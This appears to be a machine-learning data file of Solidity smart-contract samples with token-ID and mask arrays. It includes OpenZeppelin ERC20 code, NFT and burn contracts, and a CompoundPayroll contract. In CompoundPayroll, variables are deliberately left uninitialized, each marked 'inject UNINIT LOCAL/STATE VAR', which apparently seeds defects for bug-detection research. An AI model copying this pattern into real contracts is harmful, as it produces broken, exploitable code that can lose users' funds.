applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contract-ab21586375.sol pragma solidity ^0.8.4; contract BastardToken is ERC20 { constructor() ERC20("BastardToken", "BASTARD") { _mint(msg.sender, 292153100 * 10 ** decimals()); } }
File: contract-ab21586375.sol
contract BastardToken is ERC20 { function _beforeTokenTransfer( address from, address to, uint256 amount function _afterTokenTransfer( address from, address to, uint256 amount } pragma solidity ^0.8.4; constructor() ERC20("BastardToken", "BASTARD") { _mint(msg.sender, 292153100 * 10 ** decimals()); } }
6,680,444
[ 1, 812, 30, 6835, 17, 378, 22, 25984, 4449, 5877, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 689, 1060, 1345, 353, 4232, 39, 3462, 288, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 203, 565, 445, 389, 5205, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 203, 203, 565, 3885, 1435, 4232, 39, 3462, 2932, 38, 689, 1060, 1345, 3113, 315, 38, 9053, 8085, 7923, 288, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 576, 9975, 30305, 6625, 380, 1728, 2826, 15105, 10663, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xF14ef4cE0D1e73AefF02A10068389CeB3CF4CfC5/sources/project_/contracts/HuxleyBurn.sol
check if token was not redeemed in the HuxleyComics token smart contract
function isTokenNotRedeemed( uint256 tokenId1, uint256 tokenId2, uint256 tokenId3, uint256 tokenId4, uint256 tokenId5 ) internal view { require(huxleyComics.redemptions(tokenId1) == false, "HB: TokenId1 was redeemed"); require(huxleyComics.redemptions(tokenId2) == false, "HB: TokenId2 was redeemed"); require(huxleyComics.redemptions(tokenId3) == false, "HB: TokenId3 was redeemed"); require(huxleyComics.redemptions(tokenId4) == false, "HB: TokenId4 was redeemed"); require(huxleyComics.redemptions(tokenId5) == false, "HB: TokenId5 was redeemed"); }
1,897,710
[ 1, 1893, 309, 1147, 1703, 486, 283, 24903, 329, 316, 326, 670, 2616, 30678, 799, 2102, 1147, 13706, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 1345, 1248, 426, 24903, 329, 12, 203, 3639, 2254, 5034, 1147, 548, 21, 16, 203, 3639, 2254, 5034, 1147, 548, 22, 16, 203, 3639, 2254, 5034, 1147, 548, 23, 16, 203, 3639, 2254, 5034, 1147, 548, 24, 16, 203, 3639, 2254, 5034, 1147, 548, 25, 203, 565, 262, 2713, 1476, 288, 203, 3639, 2583, 12, 76, 2616, 30678, 799, 2102, 18, 266, 19117, 573, 12, 2316, 548, 21, 13, 422, 629, 16, 315, 44, 38, 30, 3155, 548, 21, 1703, 283, 24903, 329, 8863, 203, 3639, 2583, 12, 76, 2616, 30678, 799, 2102, 18, 266, 19117, 573, 12, 2316, 548, 22, 13, 422, 629, 16, 315, 44, 38, 30, 3155, 548, 22, 1703, 283, 24903, 329, 8863, 203, 3639, 2583, 12, 76, 2616, 30678, 799, 2102, 18, 266, 19117, 573, 12, 2316, 548, 23, 13, 422, 629, 16, 315, 44, 38, 30, 3155, 548, 23, 1703, 283, 24903, 329, 8863, 203, 3639, 2583, 12, 76, 2616, 30678, 799, 2102, 18, 266, 19117, 573, 12, 2316, 548, 24, 13, 422, 629, 16, 315, 44, 38, 30, 3155, 548, 24, 1703, 283, 24903, 329, 8863, 203, 3639, 2583, 12, 76, 2616, 30678, 799, 2102, 18, 266, 19117, 573, 12, 2316, 548, 25, 13, 422, 629, 16, 315, 44, 38, 30, 3155, 548, 25, 1703, 283, 24903, 329, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.1; // Interface for interacting with Compound interface CompoundContract { function supply (address asset, uint256 amount) external returns (uint256); function withdraw (address asset, uint256 requestedAmount) external returns (uint256); } // Interface for interacting with tokens interface token { function transfer(address _to, uint256 _value) external returns (bool success) ; function approve(address _spender, uint256 _value) external returns (bool); function balanceOf(address owner) external returns (uint256); } // Basic ownership library contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } // Here we start contract CompoundPayroll is owned { // first, let's define the contracts we'll be interacting with address compoundAddress ; //inject UNINIT LOCAL/STATE VAR address daiAddress ; //inject UNINIT LOCAL/STATE VAR CompoundContract compound ; //inject UNINIT LOCAL/STATE VAR token dai ; //inject UNINIT LOCAL/STATE VAR // Now let's create a payroll object Salary[] public payroll; mapping (address => uint) public salaryId; uint public payrollLength; struct Salary { address recipient; uint payRate; uint lastPaid; string name; } // An event for easier accounting event MemberPaid(address recipient, uint amount, string justification); // The constructor is called when you init the contract constructor() public { owner = msg.sender; dai.approve(compoundAddress, 2 ** 128); changePay(address(0), 0, now, ''); } // Sends all the current balance to Compound function putInSavings() public { compound.supply(daiAddress, dai.balanceOf(address(this))); } // Allows owner to make specific payments function cashOut (uint256 amount, address recipient, string memory justification) public onlyOwner { compound.withdraw(daiAddress, amount); dai.transfer(recipient, amount); emit MemberPaid( recipient, amount, justification); } // Allows you to add or change a salary function changePay(address recipient, uint yearlyPay, uint startingDate, string memory initials) onlyOwner public { // check someone's salary ID uint id ; //inject UNINIT LOCAL/STATE VAR // if it returns 0 then create a new one if (id == 0) { salaryId[recipient] = payroll.length; id = payroll.length++; } payroll[id] = Salary({ recipient: recipient, payRate: yearlyPay / 365.25 days, lastPaid: startingDate > 0 ? startingDate : now, name: initials}); payrollLength = payroll.length; } // Removes a salary from the list function removePay(address recipient) onlyOwner public { require(salaryId[recipient] != 0); for (uint i ; i<payroll.length-1; i++){ //inject UNINIT LOCAL/STATE VAR payroll[i] = payroll[i+1]; salaryId[payroll[i].recipient] = i; } salaryId[recipient] = 0; delete payroll[payroll.length-1]; payroll.length--; payrollLength = payroll.length; } // How much are you owed right now? function getAmountOwed(address recipient) view public returns (uint256) { // get salary ID uint id ; //inject UNINIT LOCAL/STATE VAR if (id > 0) { // If it exists, calculate how much you're owed right now return (now - payroll[id].lastPaid) * payroll[id].payRate; } else { return 0; } } //Make one salary payment function paySalary(address recipient, string memory justification) public { // How much are you owed right now? uint amount ; //inject UNINIT LOCAL/STATE VAR if (amount == 0) return; // Take it out from savings compound.withdraw(daiAddress, amount); // Pay it out payroll[salaryId[recipient]].lastPaid = now; dai.transfer(recipient, amount); emit MemberPaid( recipient, amount, justification); } // Pay all salaries function payEveryone() public { for (uint i ; i<payroll.length; i++){ //inject UNINIT LOCAL/STATE VAR paySalary(payroll[i].recipient, 'payAll'); } } // pay everyone! function payAll() public { uint totalToPay ; //inject UNINIT LOCAL/STATE VAR uint[] memory payments = new uint[](payrollLength); uint amount; for (uint i ; i<payrollLength; i++){ //inject UNINIT LOCAL/STATE VAR amount = (now - payroll[i].lastPaid) * payroll[i].payRate; totalToPay += amount; payments[i] = amount; } compound.withdraw(daiAddress, totalToPay); for (uint i ; i<payrollLength; i++){ //inject UNINIT LOCAL/STATE VAR payroll[i].lastPaid = now; dai.transfer(payroll[i].recipient, payments[i]); emit MemberPaid(payroll[i].recipient, payments[i], 'payAll'); } } // If pinged, save and pay everyone function () external payable { putInSavings(); payAll(); msg.sender.transfer(msg.value); } }
Allows you to add or change a salary check someone's salary ID if it returns 0 then create a new one
function changePay(address recipient, uint yearlyPay, uint startingDate, string memory initials) onlyOwner public { if (id == 0) { salaryId[recipient] = payroll.length; id = payroll.length++; } payroll[id] = Salary({ recipient: recipient, payRate: yearlyPay / 365.25 days, lastPaid: startingDate > 0 ? startingDate : now, name: initials}); payrollLength = payroll.length; }
925,345
[ 1, 19132, 1846, 358, 527, 578, 2549, 279, 12814, 814, 866, 18626, 1807, 12814, 814, 1599, 309, 518, 1135, 374, 1508, 752, 279, 394, 1245, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2549, 9148, 12, 2867, 8027, 16, 2254, 3286, 715, 9148, 16, 2254, 5023, 1626, 16, 533, 3778, 2172, 87, 13, 1338, 5541, 1071, 288, 203, 203, 3639, 309, 261, 350, 422, 374, 13, 288, 203, 5411, 12814, 814, 548, 63, 20367, 65, 273, 8843, 2693, 18, 2469, 31, 203, 5411, 612, 273, 8843, 2693, 18, 2469, 9904, 31, 203, 3639, 289, 203, 3639, 8843, 2693, 63, 350, 65, 273, 348, 287, 814, 12590, 203, 5411, 8027, 30, 8027, 16, 7010, 5411, 8843, 4727, 30, 3286, 715, 9148, 342, 21382, 18, 2947, 4681, 16, 7010, 5411, 1142, 16507, 350, 30, 225, 5023, 1626, 405, 225, 374, 692, 5023, 1626, 294, 2037, 16, 7010, 5411, 508, 30, 2172, 87, 22938, 203, 2398, 203, 3639, 8843, 2693, 1782, 273, 8843, 2693, 18, 2469, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xD05ca8f5B9fd7fa84D1c92b2e64feA8259EeC1ae/sources/browser/CompMiner_flat.sol
approve _cTokenAddr to pull the _tokenAddr tokens
function mint( address _tokenAddr, address _cTokenAddr, uint _amount ) internal { approveCTokenInternal(_tokenAddr, _cTokenAddr); require(ICToken(_cTokenAddr).mint(_amount) == 0); }
9,805,971
[ 1, 12908, 537, 389, 71, 1345, 3178, 358, 6892, 326, 389, 2316, 3178, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 203, 3639, 1758, 389, 2316, 3178, 16, 203, 3639, 1758, 389, 71, 1345, 3178, 16, 203, 3639, 2254, 389, 8949, 203, 565, 262, 2713, 288, 203, 3639, 6617, 537, 1268, 969, 3061, 24899, 2316, 3178, 16, 389, 71, 1345, 3178, 1769, 203, 203, 3639, 2583, 12, 45, 1268, 969, 24899, 71, 1345, 3178, 2934, 81, 474, 24899, 8949, 13, 422, 374, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.10; import "@openzeppelin/contracts-upgradeable/token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../Token/IWatermelonToken.sol"; /** * @title ChubbyHippos contract * @dev Extends ERC721 Non-Fungible Token Standard basic interface */ contract ChubbyHipposNFT is ERC721Upgradeable, OwnableUpgradeable { using SafeMath for uint256; using Strings for uint256; uint oneMintPrice; uint twoMintPrice; uint threeMintPrice; uint fourMintPrice; uint16 maxSupply; uint16 totalMinted; uint16 totalReserved; uint16 maxMintable; bool PAUSED; bool REVEALED; string baseExtension; string baseUri; string notRevealedUri; IWatermelonToken watermelonToken; function init() initializer public { __Ownable_init(); __ERC721_init("ChubbyHippos", "CHUBBY"); oneMintPrice = 0.08 ether; twoMintPrice = 0.14 ether; threeMintPrice = 0.18 ether; fourMintPrice = 0.2 ether; maxSupply = 4444; totalReserved = 144; PAUSED = false; REVEALED = false; baseExtension = ".json"; notRevealedUri = "https://chubbyhippos.mypinata.cloud/ipfs/QmTXZXXYXWiQHAo7jcqoKJeak5xFAqjsTU9tv9RK2fvAp1"; } /*************************************** * * * Contract funds * * * ***************************************/ /* * Withdraw eth from the contract */ function withdraw() public payable onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } /* * Check balance of the contract */ function checkBalance() public view onlyOwner returns (uint) { return address(this).balance; } /*************************************** * * * Contract settings * * * ***************************************/ // function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, ERC165Upgradeable, IERC165Upgradeable) returns (bool) { // return interfaceId == type(IERC721Upgradeable).interfaceId || // interfaceId == type(IERC721MetadataUpgradeable).interfaceId || // super.supportsInterface(interfaceId); // } /* * Set's the URI in case there's a need to be changed */ function setBaseUri(string memory URIParam) public onlyOwner { baseUri = URIParam; } function _baseURI() internal view virtual override returns (string memory) { return baseUri; } /* * Set's the notRevealedUri in case there's a need to be changed */ function setNotRevealedURI(string memory notRevealedURIParam) public onlyOwner { notRevealedUri = notRevealedURIParam; } /* * Toggle of token URI's reveal */ function toggleReveal() public onlyOwner { REVEALED = !REVEALED; } /* * Toggle of token URI's reveal */ function togglePause() public onlyOwner { PAUSED = !PAUSED; } /*************************************** * * * Emergency settings * * * ***************************************/ /* * Set's the mint price in case the eth price fluctuates too much */ function setMintPrice(uint onePrice, uint twoPrice, uint threePrice, uint fourPrice) public onlyOwner { oneMintPrice = onePrice; twoMintPrice = twoPrice; threeMintPrice = threePrice; fourMintPrice = fourPrice; } /* * Set's the max supply, this really shouldn't be used but it's here in case there are some community needs. */ function setMaxSupply(uint maxSupplyParam) public onlyOwner { maxSupply = uint16(maxSupplyParam); } /* * Get's the max supply. */ function getMaxSupply() public view returns (uint) { return maxSupply; } /* * Set's the max mintable, this really shouldn't be used but 